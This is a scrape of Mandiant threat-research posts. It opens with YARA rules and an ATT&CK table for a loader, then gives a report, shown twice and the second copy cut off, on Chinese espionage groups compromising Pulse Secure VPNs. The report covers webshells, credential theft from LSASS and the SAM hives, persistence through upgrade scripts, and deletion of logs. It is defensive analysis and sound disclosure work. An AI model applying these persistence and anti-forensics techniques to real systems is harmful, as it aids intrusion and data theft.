        $envCollection1 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 43 4F 4D 50 55 54 45 52 4E 41 4D 45 22 29 } //Environment.GetEnvironmentVariable("COMPUTERNAME")
        $envCollection2 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 55 53 45 52 44 4F 4D 41 49 4E 22 29 } //Environment.GetEnvironmentVariable("USERDOMAIN")
        $envCollection3 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 55 53 45 52 4E 41 4D 45 22 29 } //Environment.GetEnvironmentVariable("USERNAME")
        $functionalityString1 = { 28 22 64 65 6C 61 79 22 29 } //("delay")
        $functionalityString2 = { 28 22 73 63 72 65 65 6E 73 68 6F 74 22 29 } //("screenshot")
        $functionalityString3 = { 28 22 65 78 69 74 22 29 } //("exit")
        $publicStrings1 = "public string UUID"
        $publicStrings2 = "public string ID"
        $publicStrings3 = "public string Data"
        $UserAgentRequest = { 20 3D 20 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 4F 53 56 65 72 73 69 6F 6E 2E 54 6F 53 74 72 69 6E 67 28 29 3B } // = Environment.OSVersion.ToString();
   condition:
        filesize < 1MB and all of them

}

 

rule Loader_Win_SMOKEDHAM
{
    meta:
        author = "Mandiant"
        date_created = "2021-06-10"
        md5 = "05d38c7e957092f7d0ebfc7bf1eb5365"
    strings:
        $listedDLLs1 = "System.Drawing.dll" fullword
        $listedDLLs2 = "System.Web.Extensions.dll" fullword
        $listedDLLs3 = "System.Windows.Forms.dll" fullword
        $CSharpLang = {2d 4c 61 6e 67 75 61 67 65 20 43 53 68 61 72 70} // -Language CSharp
        $StringConversion = "convertto-securestring" nocase
        $SecureString1 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 53 65 63 75 72 65 53 74 72 69 6e 67 54 6f 42 53 54 52} //[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR
        $SecureString2 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 50 74 72 54 6f 53 74 72 69 6e 67 41 75 74 6f} //[System.Runtime.InteropServices.Marshal]::PtrToStringAuto
    condition:
        filesize < 1MB and (1 of ($listedDLLs*)) and $CSharpLang and $StringConversion and $SecureString1 and $SecureString2
}

MITRE ATT&CK UNC2465

Tactic

Description

Initial Access

   T1189: Drive-by Compromise
   T1195.002: Compromise Software Supply Chain
   T1566: Phishing

Execution

   T1053.005: Scheduled Task
   T1059.001: PowerShell
   T1059.005: Visual Basic

Persistence

   T1098: Account Manipulation
   T1136: Create Account
   T1547.001: Registry Run Keys / Startup Folder
   T1547.004: Winlogon Helper DLL
   T1547.009: Shortcut Modification

Defense Evasion

   T1027: Obfuscated Files or Information
   T1070.006: Timestomp
   T1112: Modify Registry
   T1140: Deobfuscate/Decode Files or Information
   T1218.005: Mshta
   T1553.002: Code Signing
   T1562.004: Disable or Modify System Firewall

Discovery

   T1012: Query Registry
   T1033: System Owner/User Discovery
   T1082: System Information Discovery

Collection

   T1056.001: Keylogging
   T1113: Screen Capture
   T1560: Archive Collected Data

Impact

   T1486: Data Encrypted for Impact
   T1531: Account Access Removal

Command and Control

   T1071.001: Web Protocols
   T1090.004: Domain Fronting
   T1102: Web Service
   T1105: Ingress Tool Transfer
   T1219: Remote Access Software
   T1572: Protocol Tunneling
   T1573.002: Asymmetric Cryptography

Lateral Movement

   T1021.004: SSH
   T1021.005: VNC

Credential Access

   T1003.001: LSASS Memory

Resource Development

   T1588.003: Code Signing Certificates
   T1588.004: Digital Certificates
   T1608.003: Install Digital Certificate

Acknowledgements

Thanks to everyone that contributed analysis and review. Special thanks to Alison Stailey, Joseph Reyes, Nick Richard, Andrew Thompson, Jeremy Kennelly, Joshua Sablatura, Evan Reese, Van Ta, Stephen Eckels, and Tufail Ahmed.

☑ ☆ ✇ Threat Research

Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices

By: Dan Perez

On April 20, 2021, Mandiant published detailed results of our investigations into compromised Pulse Secure devices by suspected Chinese espionage operators. This blog post is intended to provide an update on our findings, give additional recommendations to network defenders, and discuss potential implications for U.S.-China strategic relations.

  • Mandiant continues to gather evidence and respond to intrusions involving compromises of Pulse Secure VPN appliances at organizations across the defense, government, high tech, transportation, and financial sectors in the U.S. and Europe (Figure 1).
  • Reverse engineers on the FLARE team have identified four additional code families specifically designed to manipulate Pulse Secure devices. 
  • We now assess that espionage activity by UNC2630 and UNC2717 supports key Chinese government priorities. Many compromised organizations operate in verticals and industries aligned with Beijing’s strategic objectives outlined in China’s recent 14th Five Year Plan.
  • While there is evidence of data theft at many organizations, we have not directly observed the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement.
  • Mandiant Threat Intelligence assesses that Chinese cyber espionage activity has demonstrated a higher tolerance for risk and is less constrained by diplomatic pressures than previously characterized.


Figure 1: Organizations with compromised Pulse Secure devices by vertical and geographic location

Pulse Secure continues to work closely with Mandiant, affected customers, government partners, and other forensic experts to address these issues. Pulse Secure’s parent company, Ivanti, has released patches to proactively address software vulnerabilities and issued updated Security Advisories and Knowledge Articles to assist customers. (Please see the Forensics, Remediation, and Hardening Guidelines section for additional details.)

UNC2630 and UNC2717 Tradecraft and Response to Disclosure

Mandiant is tracking 16 malware families exclusively designed to infect Pulse Secure VPN appliances and used by several cyber espionage groups which we believe are affiliated with the Chinese government. Between April 17 and April 20, 2021, Mandiant incident responders observed UNC2630 access dozens of compromised devices and remove webshells like ATRIUM and SLIGHTPULSE.

  • Under certain conditions, the Integrity Checker Tool (ICT) will show no evidence of compromise on appliances which may have had historical compromise. This false negative may be returned because the ICT cannot scan the rollback partition. If a backdoor or persistence patcher exists on the rollback partition and a Pulse Secure appliance is rolled back to the prior version, the backdoor(s) will be present on the appliance. Please see the Forensics, Remediation, and Hardening Guidelines section for important information regarding the ICT and upgrade process.
  • In at least one instance, UNC2630 deleted their webshell(s) but did not remove the persistence patcher, making it possible to regain access when the device was upgraded.  The remaining persistence patcher causes the malicious code to be executed later during a system upgrade, re-inserts webshell logic into various files on the appliance, and recompromises the device.
  • It is unusual for Chinese espionage actors to remove a large number of backdoors across several victim environments on or around the time of public disclosure. This action displays an interesting concern for operational security and a sensitivity to publicity.

Both UNC2630 and UNC2717 display advanced tradecraft and go to impressive lengths to avoid detection. The actors modify file timestamps and regularly edit or delete forensic evidence such as logs, web server core dumps, and files staged for exfiltration. They also demonstrate a deep understanding of network appliances and advanced knowledge of a targeted network. This tradecraft can make it difficult for network defenders to establish a complete list of tools used, credentials stolen, the initial intrusion vector, or the intrusion start date.

Updates from Incident Response Investigations

We continue to suspect that multiple groups including UNC2630 and UNC2717 are responsible for this activity, despite the use of similar exploits and tools. There is a high degree of variation in attacker actions within victim environments, with actors inconsistently using a combination of tools and command and control IP addresses.

Reverse engineers on the FLARE team have identified four additional malware families specifically designed to manipulate Pulse Secure devices (Table 1). These utilities have similar functions to the 12 previously documented malware families: harvesting credentials and sensitive system data, allowing arbitrary file execution, and removing forensic evidence. Please see the Technical Annex for detailed analysis of these code families.

Malware Family

Description

Actor

BLOODMINE

 

BLOODMINE is a utility for parsing Pulse Secure Connect log files. It extracts information related to logins, Message IDs and Web Requests and copies the relevant data to another file.

UNC2630

BLOODBANK

 

BLOODBANK is a credential theft utility that parses two files containing password hashes or plaintext passwords and expects an output file to be given at the command prompt.

UNC2630

CLEANPULSE

 

CLEANPULSE is a memory patching utility that may be used to prevent certain log events from occurring. It was found in close proximity to an ATRIUM webshell.

UNC2630

RAPIDPULSE

 

RAPIDPULSE is a webshell capable of arbitrary file read. As is common with other webshells, RAPIDPULSE exists as a modification to a legitimate Pulse Secure file. RAPIDPULSE can serve as an encrypted file downloader for the attacker.

UNC2630

Table 1: New malware families identified

Initial Compromise

The actors leveraged several vulnerabilities in Pulse Secure VPN appliances. Mandiant observed the use of the recently patched vulnerability CVE-2021-22893 to compromise fully patched Pulse Secure appliances as well as previously disclosed vulnerabilities from 2019 and 2020. In many cases, determining the initial exploitation vector and timeframe was not possible to determine because the actors altered or deleted forensic evidence, or the appliance had undergone subsequent code upgrades thereby destroying evidence related to the initial exploitation.

Establish Foothold

In some cases, Mandiant observed the actors create their own Local Administrator account outside of established credential management controls on Windows servers of strategic value. This allowed the actor to maintain access to systems with short-cycle credential rotation policies and provided a sufficient level of access to operate freely within their target environment. The actors also maintained their foothold into the targeted environments exclusively through Pulse Secure webshells and malware without relying on backdoors deployed on internal Windows or Linux endpoints.

Escalate Privileges

Mandiant observed the actors use three credential harvesting techniques on Windows systems:

  • Targeting of clear text passwords and hashes from memory using the credential harvesting tool Mimikatz. Instead of being copied locally and executed on the target system, Mandiant saw evidence of the Mimikatz binary on the source system of an RDP session (i.e. the threat actor’s system that was connected to the VPN) through an RDP mapped drive.
  • Copying and exfiltration of the SAM, SECURITY, and SYSTEM registry hives which contained cached NTLM hashes for Local and Domain accounts.
  • Leveraging the Windows Task Manager process to target the Local Security Authority Subsystem Service (LSASS) process memory for NTLM hashes.

In addition to these privilege escalation techniques, the actors specifically targeted separate privileged accounts belonging to individuals whose unprivileged accounts were previously compromised (likely through the Pulse Secure credential harvesting malware families). It is unclear how the account associations were made by the actor.

Internal Reconnaissance

Mandiant found evidence that the actors renamed their own workstations that they connected to the VPN of victim networks to mimic the naming convention of their target environment. This practice aligns with the actor’s objective for long-term persistence and evading detection and demonstrates a familiarity with the internal hostnames in the victim environment.

The actors operated solely by utilizing Windows-based utilities to carry out tasks. Some of the utilities observed were net.exe, quser.exe, powershell.exe, powershell_ise.exe, findstr.exe, netstat.exe, cmd.exe, reg.exe and tasklist.exe.

Move Laterally

Most lateral movement originated from compromised Pulse Secure VPN appliances to internal systems within the environment.  While connected to the Pulse VPN appliance, the actor’s system was assigned an IP address from the Pulse VPN DHCP pool and they moved laterally throughout the environments by leveraging the Remote Desktop Protocol (RDP), the Secure Shell Protocol (SSH), and browser-based communication to HTTPS hosted resources. The actors also accessed other resources such as Microsoft M365 cloud environments using stolen credentials they had previously acquired.

Mandiant also observed the actors targeting ESXi host servers. The actor enabled SSH on ESXi hosts that were previously disabled via the web interface. When their operations on the system were finished, the actors disabled SSH on the ESXi host again and cleared or preemptively disabled all relevant logging associated with the performed activities. This includes authentication, command history, and message logging on the system.

Maintain Presence

Mandiant observed the threat actor maintain persistence by compromising the upgrade process on the Pulse Secure Appliance.  Persistence was primarily achieved by modifying the legitimate DSUpgrade.pm file to install the ATRIUM webshell across each upgrade performed by an administrator.  The actor likely chose DSUpgade.pm to host their patch logic as it is a core file in the system upgrade procedure, ensuring the patch is applied during updates. The patcher modifies content in /tmp/data as this directory holds the extracted upgrade image the newly upgraded system will boot into. This results in a persistence mechanism which allows the actor to maintain access to the system across updates.

The actors also achieved persistence in other cases by prepending a bash script to the file /bin/umount normally used to unmount a Linux filesystem. This binary was targeted by the actor because it is executed by the Pulse Secure appliance during a system upgrade. The actor’s script verifies that the umount binary executes with a specific set of arguments, which are identical to the arguments used by the Pulse Secure appliance to executes the binary. The inserted malicious bash script remounts the filesystem as read-write and iterates through a series of bash routines to inject the ATRIUM webshell, hide SLOWPULSE from a legacy file integrity bash script, remove or add itself from the umount file, and validate the web process was running after a reboot to return the filesystem back to read-only.

Complete Mission

The threat actor’s objectives appear to be stealing credentials, maintaining long-term persistent access to victim networks, and accessing or exfiltrating sensitive data. Mandiant has observed the attackers:

  • Staging data related to sensitive projects, often in C:\Users\Public
  • Naming exfiltration archives to resemble Windows Updates (KB) or to match the format KB<digits>.zip
  • Using the JAR/ZIP file format for data exfiltration
  • Deleting exfiltrated archives

Analysis of new malware families is included in the Technical Annex to enable defenders to quickly assess if their respective appliances have been affected. Relevant MITRE ATT&CK techniques, Yara rules and hashes are published on Mandiant’s GitHub page.

Forensics, Remediation, and Hardening Guidelines

To begin an investigation, Pulse Secure users should contact their Customer Support Representative for assistance completing the following steps:

  1. Capture memory and a forensic image of the appliance
  2. Run the Pulse Integrity Checker Tool found online
  3. Request a decrypted image of each partition and a memory dump

To remediate a compromised Pulse Secure appliance:  

  1. Caution must be taken when determining if a Pulse Secure device was compromised at any previous date. If the Integrity Checker Tool (ICT) was not run before the appliance was updated, the only evidence of compromise will exist in the system rollback partition which cannot be scanned by the ICT. If an upgrade was performed without first using the ICT, a manual inspection of the rollback partition is required to determine if the device was previously compromised.
  2. To ensure that no malicious logic is copied to a clean device, users must perform upgrades from the appliance console rather than the web interface. The console upgrade process follows a separate code path that will not execute files such as DSUpgrade.pm.
  3. Previous versions of the ICT will exit if run on an unsupported software version. For every ICT scan, ensure that the ICT would have supported the device's version number.
  4. Reset all passwords in the environment.
  5. Upgrade to the most recent software version.

To secure the appliance and assist with future investigations, consider implementing the following:

  1. Enable unauthenticated logging and configure syslog for Events, User & Admin Access
  2. Forward all logs to a central log repository
  3. Review logs for unusual authentications and evidence of exploitation
  4. Regularly run the Integrity Checker Tool
  5. Apply patches as soon as they are made available

Geopolitical Context and Implications for U.S.-China Relations

In collaboration with intelligence analysts at BAE Systems Applied Intelligence, Mandiant has identified dozens of organizations across the defense, government, telecommunications, high tech, education, transportation, and financial sectors in the U.S. and Europe that have been compromised via vulnerabilities in Pulse Secure VPNs. Historic Mandiant and BAE investigations identified a significant number of these organizations as previous APT5 targets.

Notably, compromised organizations operate in verticals and industries aligned with Beijing’s strategic objectives as outlined in China’s 14th Five Year Plan. Many manufacturers also compete with Chinese businesses in the high tech, green energy, and telecommunications sectors. Despite this, we have not directly observed the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement.

Targets of Chinese cyber espionage operations are often selected for their alignment with national strategic goals, and there is a strong correlation between pillar industries listed in policy white papers and targets of Chinese cyber espionage activity.

China has outlined eight key areas of vital economic interest for development and production which it views as essential to maintaining global competitiveness, under the following categories: energy, healthcare, railway transportation, telecommunications, national defense and stability, advanced manufacturing, network power, and sports and culture.

Historical Context

In the Red Line Drawn report, Mandiant documented a significant decline in the volume of Chinese cyberespionage activity in 2014 and assessed that the restructuring of China's military and civilian intelligence agencies significantly impacted Chinese cyber operations. Then, in September 2015, President Xi of China concluded a bilateral agreement with U.S. President Obama to prohibit state-sponsored theft of intellectual property for the purpose of providing commercial advantage. Commercial IP theft has historically been a prominent characteristic of Chinese cyber espionage activity.

In 2018 we conducted an extensive review of Chinese cyber espionage operations, both before and after the official announcement of the PLA reforms and bilateral agreement to determine if there were any corresponding changes in the tactics, techniques, and procedures (TTPs) used during Chinese cyberespionage operations. We observed two important changes in the type of information stolen and the geographic distribution of the targets.

  • Despite examining hundreds of incidents from January 2016 through mid 2019, we did not find definitive evidence of purely commercial application intellectual property theft in the US. Recent indictments by the US Department of Justice suggest that this theft did occur. While we observed other malicious activity, including geopolitical targeting, theft of intellectual property with military applications, and theft of confidential business information, we did not find evidence that these cyber operations violated the Obama-Xi agreement.
  • Between January 2016 and mid-2019, the geographic focus of Chinese cyber operations shifted dramatically to Asia and away from the U.S. and Europe. While the U.S. remained the single most frequently targeted country, it became a much smaller percentage of observed activity. From 2012–2015, U.S. targeting constituted nearly 70 percent of all observed Chinese cyber espionage, while from January 2016 through August 2019, U.S. targeting fell to approximately 20 percent of Chinese activity. Targeting of Europe represented a similar proportion of overall Chinese activity to targeting of the Americas.

Changes in Chinese Espionage Activity between 2019 and 2021

Based on developments observed between 2019-2021, Mandiant Threat Intelligence assesses that most Chinese APT actors now concentrate on lower-volume but more-sophisticated, stealthier operations collecting strategic intelligence to support Chinese strategic political, military, and economic goals. While some of the technical changes may be the result of the restructuring of China's military and civilian organizations, some changes possibly reflect larger technical trends in cyber operations overall.

  • Before the reorganization, it was common to observe multiple Chinese espionage groups targeting the same organization, often targeting the same types of information. Post-2015, this duplication of efforts is rare.
  • Chinese espionage groups developed more efficient and purposeful targeting patterns by transitioning away from spearphishing and relying on end user software vulnerabilities and instead began exploiting networking devices and web facing applications in novel ways. Chinese APT actors also began to leverage supply chain vulnerabilities and to target third party providers to gain access to primary targets.
  • Recently observed Chinese cyber espionage activity exhibits an increased diligence in operational security, familiarity with network defender investigation techniques, and cognizance of the forensic evidence they leave behind.
  • We observe the resurgence of older Chinese espionage groups, including APT4 and APT5 after long periods of dormancy and currently active groups engage in frequent and widespread campaigns.

Redline Withdrawn?

The Obama-Xi agreement prohibits the theft of intellectual property with purely commercial applications for the purpose of gaining a competitive advantage. It does not cover government or diplomatic information, sensitive business communications, IT data, PII, or intellectual property with military or dual use applications.

  • We have direct evidence of UNC2630, UNC2717 and other Chinese APT actors stealing credentials, email communications, and intellectual property with dual commercial and military applications.
  • Throughout our investigations, we did not directly observe the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement.

Given the narrow definition of commercial intellectual property theft and the limited availability of forensic evidence, it is possible that our assessment will change with the discovery of new information.

Evidence collected by Mandiant over the past decade suggests that norms and diplomatic agreements do not significantly limit China's use of its cyber threat capabilities, particularly when serving high-priority missions.

The greater ambition and risk tolerance demonstrated by Chinese policymakers since 2019 indicates that the tempo of Chinese state-sponsored activity may increase in the near future and that the Chinese cyber threat apparatus presents a renewed and serious threat to US and European commercial entities.

Acknowledgements

Mandiant would like to thank analysts at BAE Systems Applied Intelligence, Stroz Friedberg, and Pulse Secure for their hard work, collaboration and partnership. The team would also like to thank Scott Henderson, Kelli Vanderlee, Jacqueline O'Leary, Michelle Cantos, and all the analysts who worked on Mandiant’s Red Line Redrawn project. The team would also like to thank Mike Dockry, Josh Villanueva, Keith Knapp, and all the incident responders who worked on these engagements.

Additional Resources

Detecting the Techniques

The following table contains specific FireEye product detection names for the malware families associated with this updated information.

Platform(s)

Detection Name

Network Security

Email Security

Detection On Demand

Malware File Scanning

Malware File Storage Scanning

  • FE_APT_Tool_Linux32_BLOODMINE_1
  • FE_APT_Tool_Linux_BLOODMINE_1
  • FE_APT_Tool_Linux32_BLOODBANK_1
  • FE_APT_Tool_Linux_BLOODBANK_1
  • FE_APT_Tool_Linux32_CLEANPULSE_1
  • FE_APT_Tool_Linux_CLEANPULSE_1
  • FE_APT_Webshell_PL_RAPIDPULSE_1
  • FEC_APT_Webshell_PL_RAPIDPULSE_1

Endpoint Security

Real-Time Detection (IOC)

  • BLOODBANK (UTILITY)
  • BLOODMINE (UTILITY)

Helix

Establish Foothold

  • WINDOWS METHODOLOGY [User Account Created]
  • WINDOWS METHODOLOGY [User Created - Net Command]

Escalate Privileges

  • WINDOWS METHODOLOGY [Mimikatz Args]
  • WINDOWS METHODOLOGY [Invoke-Mimikatz Powershell Artifacts]
  • WINDOWS METHODOLOGY [LSASS Memory Access]
  • WINDOWS METHODOLOGY [LSASS Generic Dump Activity]

Internal Reconnaissance

  • WINDOWS ANALYTICS [Recon Commands]

Move Laterally

  • WINDOWS ANALYTICS [Abnormal RDP Logon]
  • OFFICE 365 ANALYTICS [Abnormal Logon]

Technical Annex

BLOODMINE

BLOODMINE is a utility for parsing Pulse Secure Connect log files. It extracts information related to logins, Message IDs and Web Requests and copies the relevant data to another file.

The sample takes three command line arguments

  1. Filename to read
  2. Filename to write
  3. Timeout interval

It parses the input file for login status codes:

AUT31504

AUT24414

AUT22673

AUT22886

AUT23574

It parses the input file for web results code WEB20174. If it finds a web result code, it looks for file extensions:

.css

.jpg

.png

.gif

.ico

.js

.jsp

These strings indicate the type of data that is collected from web requests:

Web login, IP: %s, User: %s, Realm: %s, Roles: %s, Browser: %s

Agent login, IP: %s, User: %s, Realm: %s, Roles: %s, Client: %s

Logout, IP: %s, User: %s, Realm: %s, Roles: %s

Session end, IP: %s, User: %s, Realm: %s, Roles: %s

New session, IP: %s, User: %s, Realm: %s, Roles: %s, New IP: %s

Host check, Policy: %s

WebRequest completed, IP: %s, User: %s, Realm: %s, Roles: %s, %s to %s://%s:%s/%s from %s

BLOODBANK

BLOODBANK is a credential theft utility that parses two LMDB (an in memory database) files and expects an output file to be given at the command prompt. BLOODBANK takes advantage of a legitimate process that supports Single Sign On functionality and looks for plaintext passwords when they are briefly loaded in memory.

The utility parses the following two files containing password hashes or plaintext passwords:

  • /home/runtime/mtmp/lmdb/data0/data.mdb
  • /home/runtime/mtmp/system

BLOODBANK expects an output file as a command line parameter, otherwise it prints file open error. It contains the following strings which it likely tries to extract and target.

PRIMARY

SECONDARY

remoteaddr

[email protected]

logicUR

logicTim

[email protected]

userAge

realm

Sourc

CLEANPULSE

CLEANPULSE is a memory patching utility that may be used to prevent certain log events from occurring. The utility inserts two strings from the command line into the target process and patches code to conditionally circumvent a function call in the original executable.

File Name

File Type

Size

Compile Time

dsrlog

ELF.X86

13332

 

The utility expects to be run from the command line as follows:

drslog <pid> <code2_string> <code3_string> <command>

Where <pid> is the pid process ID to patch in memory, <code2_string> and <code3_string> are two strings to write into the target process, and <command> is either 'e' or 'E' for installation or 'u' or 'U' for uninstallation.

During installation (using the 'e' or 'E' <command>), the <code2_string> <code3_string> command line strings are written to the target process at hard-coded memory addresses, a small amount of code is written, and a jump instruction to the code snippet is patched in memory of the target process. The added code checks whether an argument is equal to either <code2_string> <code3_string> strings, and if, so skips a function call in the target process.

During uninstall (using the 'u' or 'U' <command>) the patch jump location is overwritten with what appears to be the original 8 bytes of instructions, and the two additional memory buffers and the code snippet appear to be overwritten with zeros.

The CLEANPULSE utility is highly specific to a victim environment. It does not contain any validation code when patching (i.e. verifying that code is expected prior to modifying it), and it contains hard-coded addresses to patch.

The target code to patch appears to be the byte sequence: 89 4C 24 08 FF 52 04. This appears as the last bytes in the patched code, and is the 8-bytes written when the uninstall 'u' command is given.

These bytes correspond to the following two instructions:

.data:0804B138 89 4C 24 08                 mov     [esp+8], ecx

.data:0804B13C FF 52 04                       call    dword ptr [edx+4]

This byte sequence occurs at the hard-coded patch address the utility expects, dslogserver. Based on status and error messages in nearby functions the executable dslogserver appears to be related to log event handling, and the purpose of the CLEANPULSE utility may be to prevent certain events from being logged.

There are several un-referenced functions that appear to have been taken from the open source project PUPYRAT. It is likely that the actor re-purposed this open source code, using PUPYRAT as a simple template project.

RAPIDPULSE

RAPIDPULSE is a webshell capable of arbitrary file read. As is common with other webshells, RAPIDPULSE exists as a modification to a legitimate Pulse Secure file.

The webshell modifies the legitimate file's main routine which compares the HTTP query parameter with key name: deviceid to a specific  key with value. If the parameter matches, then the sample uses an RC4 key  to decrypt HTTP query parameter with key name: hmacTime. This decrypted value is a filename which the sample then opens, reads, RC4 encrypts with the same key, base64 encodes, then writes to stdout. The appliance redirects stdout as the response to HTTP requests. This serves as an encrypted file download for the attacker.

Integrity Checker Tool and Other Validation Checks

In our public report, we noted two code families that manipulate check_integrity.sh, a legitimate script used during a normal system upgrade. This validation script was modified by the actor to exit early so that it would not perform the intended checks.

Per Ivanti, the validation provided by check_integrity.sh is a separate validation feature and not the same as the Integrity Checker Tool (ICT) available on their website. They recommend that organizations use the online ICT to confirm that hashes of files on their Pulse Secure devices match Ivanti’s list of known good hashes. Please note that the ICT does not scan the rollback partition.

☑ ☆ ✇ Threat Research

Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices

By: Dan Perez

On April 20, 2021, Mandiant published detailed results of our investigations into compromised Pulse Secure devices by suspected Chinese espionage operators. This blog post is intended to provide an update on our findings, give additional recommendations to network defenders, and discuss potential implications for U.S.-China strategic relations.

  • Mandiant continues to gather evidence and respond to intrusions involving compromises of Pulse Secure VPN appliances at organizations across the defense, government, high tech, transportation, and financial sectors in the U.S. and Europe (Figure 1).
  • Reverse engineers on the FLARE team have identified four additional code families specifically designed to manipulate Pulse Secure devices. 
  • We now assess that espionage activity by UNC2630 and UNC2717 supports key Chinese government priorities. Many compromised organizations operate in verticals and industries aligned with Beijing’s strategic objectives outlined in China’s recent 14th Five Year Plan.
  • While there is evidence of data theft at many organizations, we have not directly observed the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement.
  • Mandiant Threat Intelligence assesses that Chinese cyber espionage activity has demonstrated a higher tolerance for risk and is less constrained by diplomatic pressures than previously characterized.


Figure 1: Organizations with compromised Pulse Secure devices by vertical and geographic location

Pulse Secure continues to work closely with Mandiant, affected customers, government partners, and other forensic experts to address these issues. Pulse Secure’s parent company, Ivanti, has released patches to proactively address software vulnerabilities and issued updated Security Advisories and Knowledge Articles to assist customers. (Please see the Forensics, Remediation, and Hardening Guidelines section for additional details.)

UNC2630 and UNC2717 Tradecraft and Response to Disclosure

Mandiant is tracking 16 malware families exclusively designed to infect Pulse Secure VPN appliances and used by several cyber espionage groups which we believe are affiliated with the Chinese government. Between April 17 and April 20, 2021, Mandiant incident responders observed UNC2630 access dozens of compromised devices and remove webshells like ATRIUM and SLIGHTPULSE.

  • Under certain conditions, the Integrity Checker Tool (ICT) will show no evidence of compromise on appliances which may have had historical compromise. This false negative may be returned because the ICT cannot scan the rollback partition. If a backdoor or persistence patcher exists on the rollback partition and a Pulse Secure appliance is rolled back to the prior version, the backdoor(s) will be present on the appliance. Please see the Forensics, Remediation, and Hardening Guidelines section for important information regarding the ICT and upgrade process.
  • In at least one instance, UNC2630 deleted their webshell(s) but did not remove the persistence patcher, making it possible to regain access when the device was upgraded.  The remaining persistence patcher causes the malicious code to be executed later during a system upgrade, re-inserts webshell logic into various files on the appliance, and recompromises the device.
  • It is unusual for Chinese espionage actors to remove a large number of backdoors across several victim environments on or around the time of public disclosure. This action displays an interesting concern for operational security and a sensitivity to publicity.

Both UNC2630 and UNC2717 display advanced tradecraft and go to impressive lengths to avoid detection. The actors modify file timestamps and regularly edit or delete forensic evidence such as logs, web server core dumps, and files staged for exfiltration. They also demonstrate a deep understanding of network appliances and advanced knowledge of a targeted network. This tradecraft can make it difficult for network defenders to establish a complete list of tools used, credentials stolen, the initial intrusion vector, or the intrusion start date.

Updates from Incident Response Investigations

We continue to suspect that multiple groups including UNC2630 and UNC2717 are responsible for this activity, despite the use of similar exploits and tools. There is a high degree of variation in attacker actions within victim environments, with actors inconsistently using a combination of tools and command and control IP addresses.

Reverse engineers on the FLARE team have identified four additional malware families specifically designed to manipulate Pulse Secure devices (Table 1). These utilities have similar functions to the 12 previously documented malware families: harvesting credentials and sensitive system data, allowing arbitrary file execution, and removing forensic evidence. Please see the Technical Annex for detailed analysis of these code families.

Malware Family

Description

Actor

BLOODMINE

 

BLOODMINE is a utility for parsing Pulse Secure Connect log files. It extracts information related to logins, Message IDs and Web Requests and copies the relevant data to another file.

UNC2630

BLOODBANK

 

BLOODBANK is a credential theft utility that parses two files containing password hashes or plaintext passwords and expects an output file to be given at the command prompt.

UNC2630

CLEANPULSE

 

CLEANPULSE is a memory patching utility that may be used to prevent certain log events from occurring. It was found in close proximity to an ATRIUM webshell.

UNC2630

RAPIDPULSE

 

RAPIDPULSE is a webshell capable of arbitrary file read. As is common with other webshells, RAPIDPULSE exists as a modification to a legitimate Pulse Secure file. RAPIDPULSE can serve as an encrypted file downloader for the attacker.

UNC2630

Table 1: New malware families identified

Initial Compromise

The actors leveraged several vulnerabilities in Pulse Secure VPN appliances. Mandiant observed the use of the recently patched vulnerability CVE-2021-22893 to compromise fully patched Pulse Secure appliances as well as previously disclosed vulnerabilities from 2019 and 2020. In many cases, determining the initial exploitation vector and timeframe was not possible to determine because the actors altered or deleted forensic evidence, or the appliance had undergone subsequent code upgrades thereby destroying evidence related to the initial exploitation.

Establish Foothold

In some cases, Mandiant observed the actors create their own Local Administrator account outside of established credential management controls on Windows servers of strategic value. This allowed the actor to maintain access to systems with short-cycle credential rotation policies and provided a sufficient level of access to operate freely within their target environment. The actors also maintained their foothold into the targeted environments exclusively through Pulse Secure webshells and malware without relying on backdoors deployed on internal Windows or Linux endpoints.

Escalate Privileges

Mandiant observed the actors use three credential harvesting techniques on Windows systems:

  • Targeting of clear text passwords and hashes from memory using the credential harvesting tool Mimikatz. Instead of being copied locally and executed on the target system, Mandiant saw evidence of the Mimikatz binary on the source system of an RDP session (i.e. the threat actor’s system that was connected to the VPN) through an RDP mapped drive.
  • Copying and exfiltration of the SAM, SECURITY, and SYSTEM registry hives which contained cached NTLM hashes for Local and Domain accounts.
  • Leveraging the Windows Task Manager process to target the Local Security Authority Subsystem Service (LSASS) process memory for NTLM hashes.

In addition to these privilege escalation techniques, the actors specifically targeted separate privileged accounts belonging to individuals whose unprivileged accounts were previously compromised (likely through the Pulse Secure credential harvesting malware families). It is unclear how the account associations were made by the actor.

Internal Reconnaissance

Mandiant found evidence that the actors renamed their own workstations that they connected to the VPN of victim networks to mimic the naming convention of their target environment. This practice aligns with the actor’s objective for long-term persistence and evading detection and demonstrates a familiarity with the internal hostnames in the victim environment.

The actors operated solely by utilizing Windows-based utilities to carry out tasks. Some of the utilities observed were net.exe, quser.exe, powershell.exe, powershell_ise.exe, findstr.exe, netstat.exe, cmd.exe, reg.exe and tasklist.exe.

Move Laterally

